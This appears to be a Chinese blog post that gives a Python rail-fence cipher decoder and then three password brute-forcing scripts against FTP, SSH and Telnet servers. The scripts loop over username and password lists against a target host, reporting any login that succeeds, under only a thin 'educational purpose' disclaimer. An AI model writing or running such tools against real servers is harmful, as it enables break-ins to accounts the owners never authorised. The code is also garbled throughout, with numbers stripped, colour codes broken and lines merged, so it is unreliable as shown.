今天遇到一个要破解的栅栏密码,先给大家介绍通用的脚本。
方法一(通用脚本):
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_ -*-
e = raw_input(‘请输入要解密的字符串\\n‘)
elen = len(e)
field=[]
for i in range(,elen):
if(elen%i==):
field.append(i)
for f in field:
b = elen / f
result = {x:‘‘ for x in range(b)}
for i in range(elen):
a = i % b;
result.update({a:result[a] + e[i]})
d = ‘‘
for i in range(b):
d = d + result[i]
print ‘分为\\t‘+str(f)+‘\\t‘+‘栏时,解密结果为: ‘+d
方法二:
FTP暴力破解脚本
#!/usr/bin/env python
#-*-coding = utf--*-
#author:@xfk
#blog:@blog.sina.com.cn/kaiyongdeng
#date:@--
import sys, os, time
from ftplib import FTP
docs = \"\"\"
[*] This was written for educational purpose and pentest only. Use it at your own risk.
[*] Author will be not responsible for any damage!
[*] Toolname : ftp_bf.py
[*] Coder :
[*] Version : .
[*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt
\"\"\"
if sys.platform == \'linux\' or sys.platform == \'linux\':
clearing = \'clear\'
else:
clearing = \'cls\'
os.system(clearing)
R = \"\\[m\";
G = \"\\[m\";
Y = \"\\[m\"
END = \"\\[m\"
def logo():
print G+\"\\n |---------------------------------------------------------------|\"
print \" | |\"
print \" | blog.sina.com.cn/kaiyongdeng |\"
print \" | // ftp_bf.py v.. |\"
print \" | FTP Brute Forcing Tool |\"
print \" | |\"
print \" |---------------------------------------------------------------|\\n\"
print \" \\n [-] %s\\n\" % time.strftime(\"%X\")
print docs+END
def help():
print R+\"[*]-t, --target ip/hostname <> Our target\"
print \"[*]-u, --usernamelist usernamelist <> usernamelist path\"
print \"[*]-p, --passwordlist passwordlist <> passwordlist path\"
print \"[*]-h, --help help <> print this help\"
print \"[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt\"+END sys.exit()
def bf_login(hostname,username,password):
# sys.stdout.write(\"\\r[!]Checking : %s \" % (p))
# sys.stdout.flush()
try:
ftp = FTP(hostname)
ftp.login(hostname,username, password)
ftp.retrlines(\'list\')
ftp.quit()
print Y+\"\\n[!] wt,wt!!! We did it ! \"
print \"[+] Target : \",hostname, \"\"
print \"[+] User : \",username, \"\"
print \"[+] Password : \",password, \"\"+END
return
# sys.exit()
except Exception, e:
pass except KeyboardInterrupt: print R+\"\\n[-] Exiting ...\\n\"+END
sys.exit()
def anon_login(hostname):
try:
print G+\"\\n[!] Checking for anonymous login.\\n\"+END
ftp = FTP(hostname) ftp.login()
ftp.retrlines(\'LIST\')
print Y+\"\\n[!] wt,wt!!! Anonymous login successfuly !\\n\"+END
ftp.quit()
except Exception, e:
print R+\"\\n[-] Anonymous login failed...\\n\"+END
pass
def main():
logo()
try:
for arg in sys.argv:
if arg.lower() == \'-t\' or arg.lower() == \'--target\':
hostname = sys.argv[int(sys.argv[:].index(arg))+]
elif arg.lower() == \'-u\' or arg.lower() == \'--usernamelist\':
usernamelist = sys.argv[int(sys.argv[:].index(arg))+]
elif arg.lower() == \'-p\' or arg.lower() == \'--passwordlist\':
passwordlist = sys.argv[int(sys.argv[:].index(arg))+]
elif arg.lower() == \'-h\' or arg.lower() == \'--help\':
help()
elif len(sys.argv) <= :
help()
except:
print R+\"[-]Cheak your parametars input\\n\"+END
help()
print G+\"[!] BruteForcing target ...\"+END
anon_login(hostname)
# print \"here is ok\"
# print hostname
try:
usernames = open(usernamelist, \"r\")
user = usernames.readlines()
count =
while count < len(user):
user[count] = user[count].strip()
count +=
except:
print R+\"\\n[-] Cheak your usernamelist path\\n\"+END
sys.exit()
# print \"here is ok \",usernamelist,passwordlist
try:
passwords = open(passwordlist, \"r\")
pwd = passwords.readlines()
count =
while count < len(pwd):
pwd[count] = pwd[count].strip()
count +=
except:
print R+\"\\n[-] Check your passwordlist path\\n\"+END
sys.exit()
print G+\"\\n[+] Loaded:\",len(user),\"usernames\"
print \"\\n[+] Loaded:\",len(pwd),\"passwords\"
print \"[+] Target:\",hostname
print \"[+] Guessing...\\n\"+END
for u in user: for p in pwd:
result = bf_login(hostname,u.replace(\"\\n\",\"\"),p.replace(\"\\n\",\"\"))
if result != :
print G+\"[+]Attempt uaername:%s password:%s...\" % (u,p) + R+\"Disenable\"+END
else:
print G+\"[+]Attempt uaername:%s password:%s...\" % (u,p) + Y+\"Enable\"+END
if not result :
print R+\"\\n[-]There is no username ans password enabled in the list.\"
print \"[-]Exiting...\\n\"+END
if __name__ == \"__main__\":
main()
SSH暴力破解
#!/usr/bin/env python
#-*-coding = UTF--*-
#author@:dengyongkai
#blog@:blog.sina.com.cn/kaiyongdeng
import sys
import os
import time
#from threading import Thread
try:
from paramiko import SSHClient
from paramiko import AutoAddPolicy
except ImportError:
print G+\'\'\'
You need paramiko module.
http://www.lag.net/paramiko/
Debian/Ubuntu: sudo apt-get install aptitude
: sudo aptitude install python-paramiko\\n\'\'\'+END
sys.exit()
docs = \"\"\"
[*] This was written for educational purpose and pentest only. Use it at your own risk.
[*] Author will be not responsible for any damage!
[*] Toolname : ssh_bf.py
[*] Author : xfk
[*] Version : v..
[*] Example of use : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]
\"\"\"
if sys.platform == \'linux\' or sys.platform == \'linux\':
clearing = \'clear\'
else:
clearing = \'cls\'
os.system(clearing)
R = \"\\[m\";
G = \"\\[m\";
Y = \"\\[m\"
END = \"\\[m\"
def logo():
print G+\"\\n |---------------------------------------------------------------|\"
print \" | |\"
print \" | blog.sina.com.cn/kaiyongdeng |\"
print \" | // ssh_bf.py v.. |\"
print \" | SSH Brute Forcing Tool |\"
print \" | |\"
print \" |---------------------------------------------------------------|\\n\"
print \" \\n [-] %s\\n\" % time.ctime()
print docs+END
def help():
print Y+\" [*]-H --hostname/ip <>the target hostname or ip address\"
print \" [*]-P --port <>the ssh service port(default is )\"
print \" [*]-U --usernamelist <>usernames list file\"
print \" [*]-P --passwordlist <>passwords list file\"
print \" [*]-H --help <>show help information\"
print \" [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]\"+END
sys.exit()
def BruteForce(hostname,port,username,password):
\'\'\'
Create SSH connection to target
\'\'\'
ssh = SSHClient()
ssh.set_missing_host_key_policy(AutoAddPolicy())
try:
ssh.connect(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False)
status = \'ok\'
ssh.close()
except Exception, e:
status = \'error\'
pass
return status
def makelist(file):
\'\'\'
Make usernames and passwords lists
\'\'\'
items = []
try:
fd = open(file, \'r\')
except IOError:
print R+\'unable to read file \\\'%s\\\'\' % file+END
pass
except Exception, e:
print R+\'unknown error\'+END
pass
for line in fd.readlines():
item = line.replace(\'\\n\', \'\').replace(\'\\r\', \'\')
items.append(item)
fd.close()
return items
def main():
logo()
# print \"hello wold\"
try:
for arg in sys.argv:
if arg.lower() == \'-t\' or arg.lower() == \'--target\':
hostname = str(sys.argv[int(sys.argv[:].index(arg))+])
if arg.lower() == \'-p\' or arg.lower() == \'--port\':
port = sys.argv[int(sys.argv[:].index(arg))+]
elif arg.lower() == \'-u\' or arg.lower() == \'--userlist\':
userlist = sys.argv[int(sys.argv[:].index(arg))+]
elif arg.lower() == \'-w\' or arg.lower() == \'--wordlist\':
wordlist = sys.argv[int(sys.argv[:].index(arg))+]
elif arg.lower() == \'-h\' or arg.lower() == \'--help\':
help()
elif len(sys.argv) <= :
help()
except:
print R+\"[-]Cheak your parametars input\\n\"+END
help()
print G+\"\\n[!] BruteForcing target ...\\n\"+END
# print \"here is ok\"
# print hostname,port,wordlist,userlist
usernamelist = makelist(userlist)
passwordlist = makelist(wordlist)
print Y+\"[*] SSH Brute Force Praparing.\"
print \"[*] %s user(s) loaded.\" % str(len(usernamelist))
print \"[*] %s password(s) loaded.\" % str(len(passwordlist))
print \"[*] Brute Force Is Starting.......\"+END
try:
for username in usernamelist:
for password in passwordlist:
print G+\"\\n[+]Attempt uaername:%s password:%s...\" % (username,password)+END
current = BruteForce(hostname, port, username, password)
if current == \'error\':
print R+\"[-]O*O The username:%s and password:%s Is Disenbabled...\\n\" % (username,password)+END
# pass
else:
print G+\"\\n[+] ^-^ HaHa,We Got It!!!\"
print \"[+] username: %s\" % username
print \"[+] password: %s\\n\" % password+END
# sys.exit()
except:
print R+\"\\n[-] There Is Something Wrong,Pleace Cheak It.\"
print \"[-] Exitting.....\\n\"+END
raise
print Y+\"[+] Done.^-^\\n\"+END
sys.exit()
if __name__ == \"__main__\":
main()
TELNET密码暴力破解
#!usr/bin/python #Telnet Brute Forcer #http://www.darkcde.com #dhydr[at]gmail[dot]com import threading, time, random, sys, telnetlib from copy import copy if len(sys.argv) !=: print \"Usage: ./telnetbrute.py\" sys.exit() try: users = open(sys.argv[], \"r\").readlines() except(IOError): print \"Error: Check your userlist path\\n\" sys.exit() try: words = open(sys.argv[], \"r\").readlines() except(IOError): print \"Error: Check your wordlist path\\n\" sys.exit() print \"\\n\\t dhydr[at]gmail[dot]com TelnetBruteForcer v.\" print \"\\t--------------------------------------------------\\n\" print \"[+] Server:\",sys.argv[] print \"[+] Users Loaded:\",len(users) print \"[+] Words Loaded:\",len(words),\"\\n\" wordlist = copy(words) def reloader(): for word in wordlist: words.append(word) def getword(): lock = threading.Lock() lock.acquire() if len(words) != : value = random.sample(words, ) words.remove(value[]) else: print \"\\nReloading Wordlist - Changing User\\n\" reloader() value = random.sample(words, ) users.remove(users[]) lock.release() if len(users) ==: return value[][:-], users[] else: return value[][:-], users[][:-] class Worker(threading.Thread): def run(self): value, user = getword() try: print \"-\"* print \"User:\",user,\"Password:\",value tn = telnetlib.Telnet(sys.argv[]) tn.read_until(\"login: \") tn.write(user + \"\\n\") if password: tn.read_until(\"Password: \") tn.write(value + \"\\n\") tn.write(\"ls\\n\") tn.write(\"exit\\n\") print tn.read_all() print \"\\t\\nLogin successful:\",value, user tn.close() work.join() sys.exit() except: pass for I in range(len(words)*len(users)): work = Worker() work.start() time.sleep()